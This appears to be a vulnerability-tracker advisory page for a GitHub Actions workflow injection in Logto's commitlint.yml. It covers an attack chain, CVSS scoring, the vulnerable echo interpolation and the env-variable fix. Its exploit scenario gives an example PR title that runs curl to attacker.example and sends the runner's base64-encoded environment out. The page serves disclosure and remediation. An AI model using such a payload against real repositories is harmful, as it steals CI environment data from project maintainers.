Skip to main content

Logto EUVDEUVD-2026-62865

| CVE-2026-63187 MEDIUM
Code Injection (CWE-94)
2026-08-19 GitHub_M
6.3
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft PR title with single-quote and shell payload
  2. Delivery
    Submit PR to public Logto repository
  3. Exploit
    commitlint.yml workflow triggers automatically on pull_request event
  4. Execution
    Single quote terminates echo string literal in runner shell
  5. Persist
    Injected commands execute as workflow step on Actions runner
  6. Impact
    CI pipeline disrupted or runner environment probed

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be able to open a pull request against the Logto GitHub repository (logto-io/logto). On a public repository, any GitHub-authenticated user - including newly created accounts - can submit a PR, setting the effective barrier at account creation only. The vulnerable workflow (commitlint.yml) must be present at an affected version (1.40.1 to <1.41.0) and GitHub Actions must be enabled for the repository. The pull_request trigger fires automatically on PR open and synchronize events without requiring maintainer approval of the workflow run for repository members or prior contributors. Exploitation is limited by three concrete factors: (1) the GITHUB_TOKEN granted to this workflow is read-only, so injected commands cannot push commits, modify branches, create releases, or access any repository secrets; (2) all execution is isolated to an ephemeral runner VM that is destroyed after the job completes, leaving no persistent foothold; (3) no repository secrets or sensitive environment variables are mounted into this specific workflow's environment, capping the confidentiality impact to whatever transient state exists on the runner.

Impact

The NVD-assigned CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) scores 6.3 Medium. The UI:R metric warrants scrutiny: the pull_request trigger in GitHub Actions fires automatically upon PR creation without any additional maintainer approval step, suggesting UI:N is more accurate for the typical public-repository case and would raise the score to approximately 7.3 High. Attack complexity is genuinely low - crafting a single-quote injection in a PR title requires no specialized tooling. However, real-world impact is substantially constrained: the GITHUB_TOKEN used by this workflow is explicitly read-only, no repository secrets are mounted into the workflow environment, and all injected commands execute within an ephemeral VM that is destroyed after the job completes. EPSS data was not provided in the input; given the attack surface is limited to a single project's CI pipeline rather than a broadly-deployed production service, widespread automated exploitation is unlikely. No CISA KEV listing and no public exploit code identified at time of analysis, consistent with the narrow blast radius. This CVE is most significant as a class-representative example of CI/CD expression injection risk rather than a high-impact production compromise.

Exploit ScenarioDerived

An attacker opens a pull request against the public Logto GitHub repository with a title such as feat: update' && curl https://attacker.example/c2?d=$(env | base64 -w0) && echo ' - the embedded single quotes terminate and re-open the echo string while the middle payload executes as a separate shell command on the Actions runner. Because the pull_request trigger fires automatically on PR creation without maintainer approval, the attacker need only submit the PR to trigger execution; no write access to the repository or elevated GitHub permissions are required beyond possessing a GitHub account.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

GitHub Actions workflow injection in Logto's commitlint.yml exposes versions 1.40.1 through 1.41.0 to arbitrary shell command execution on the project's CI/CD runner, triggered by any GitHub user who can submit a pull request with a crafted title containing shell metacharacters. The PR title was directly interpolated into an inline echo command without sanitization, allowing a single-quote character to terminate the shell string and inject attacker-controlled commands into the ephemeral runner environment. Impact is bounded by a read-only GITHUB_TOKEN and absence of exposed repository secrets; no public exploit is identified at time of analysis, and the issue is fully patched in v1.41.0.

RemediationAI

Vendor-released patch: v1.41.0. Upgrade Logto to version 1.41.0 or later, which resolves the injection via commit 4a1cab21c14d26d288ffffc509cc2a8cae247b92 (PR #9112). The fix replaces unsafe inline expression interpolation with an environment variable binding - the PR title is assigned to PR_TITLE in the step's env block and passed to commitlint via printf '%s\n' "$PR_TITLE", preventing shell metacharacter interpretation entirely. For repositories that cannot immediately apply the patch, a compensating control is to restrict the pull_request trigger to require maintainer workflow approval for first-time contributors (via repository settings under Actions > General > Fork pull request workflows), which trades CI automation speed for an approval gate before injection can occur. Alternatively, the commitlint workflow can be temporarily disabled until the upgrade is applied, at the cost of losing automated PR title linting. Full advisory and patched release: https://github.com/logto-io/logto/releases/tag/v1.41.0.

Affected VersionsENISA

logto 1.40.1, < 1.41.0

Affected Packages

euvd logto_1_40_1 fix: 1.41.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in .github/workflows/commitlint.yml within the Logto open-source project (CPE: cpe:2.3:a:logto-io:logto:*:*:*:*:*:*:*:*), a GitHub Actions workflow that lints pull request titles via npx commitlint. The root cause is CWE-94 (Improper Control of Generation of Code), a well-documented GitHub Actions expression injection pattern: the workflow step executed echo '${{ github.event.pull_request.title }}' | npx commitlint, substituting the externally-controlled PR title string directly into a shell command at YAML evaluation time before the shell interpreter sees it. A title containing a single quote terminates the surrounding string literal, and subsequent characters are interpreted as distinct shell commands by the runner. The fix introduced in PR #9112 (commit 4a1cab21) addresses this by assigning the title to an environment variable (PR_TITLE) in the step's env block and piping it via printf '%s\n' "$PR_TITLE", which never passes the value through shell word-splitting or metacharacter interpretation.

Know when Logto gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.3 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
vuln.today AI 7.3 HIGH

UI:N because the pull_request trigger fires automatically on PR submission with no separate maintainer action required to execute injected commands on the runner.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

1
Patch available
Aug 19, 2026 - 21:17 EUVD

DescriptionCVE.org

Logto is the modern, open-source auth infrastructure for SaaS and AI apps. From 1.40.1 until 1.41.0, Logto's .github/workflows/commitlint.yml directly interpolated github.event.pull_request.title into the Commitlint on PR title step's inline echo command before piping the title to npx commitlint. A pull request title containing a single quote could terminate the echo string and append arbitrary shell commands on the GitHub Actions runner. The pull_request trigger used a read-only GITHUB_TOKEN and did not expose repository secrets, but injected commands could alter or disrupt the ephemeral workflow execution. This issue is fixed in version 1.41.0.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
Low
niche open-source auth tool, limited enterprise production footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy